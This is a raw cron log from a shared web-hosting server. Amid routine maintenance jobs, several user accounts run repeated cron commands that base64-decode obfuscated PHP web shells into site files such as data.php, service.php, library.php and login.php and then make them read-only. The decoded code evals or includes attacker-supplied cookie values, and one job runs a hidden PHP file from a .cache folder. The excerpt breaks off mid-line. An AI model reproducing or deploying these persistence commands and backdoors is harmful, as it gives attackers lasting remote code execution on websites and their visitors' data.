Mar  1 12:43:01 medusa CROND[9615]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:43:01 medusa CROND[9617]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 12:43:01 medusa CROND[9620]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:43:01 medusa CROND[9623]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:43:01 medusa CROND[9625]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:43:01 medusa CROND[9626]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:44:01 medusa CROND[2661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:44:01 medusa CROND[2663]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:44:01 medusa CROND[2665]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:44:01 medusa CROND[2666]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:44:01 medusa CROND[2667]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:44:01 medusa CROND[2670]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:44:01 medusa CROND[2672]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:44:01 medusa CROND[2671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:44:01 medusa CROND[2673]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:44:01 medusa CROND[2680]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:44:01 medusa CROND[2686]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:44:01 medusa CROND[2689]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:44:01 medusa CROND[2690]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:45:01 medusa CROND[27257]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:45:01 medusa CROND[27383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:45:01 medusa CROND[27427]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:45:01 medusa CROND[27426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:45:01 medusa CROND[27428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:45:01 medusa CROND[27429]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:45:01 medusa CROND[27430]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:45:01 medusa CROND[27431]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:45:01 medusa CROND[27434]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 12:45:01 medusa CROND[27435]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:45:01 medusa CROND[27440]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:45:01 medusa CROND[27442]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:45:01 medusa CROND[27439]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5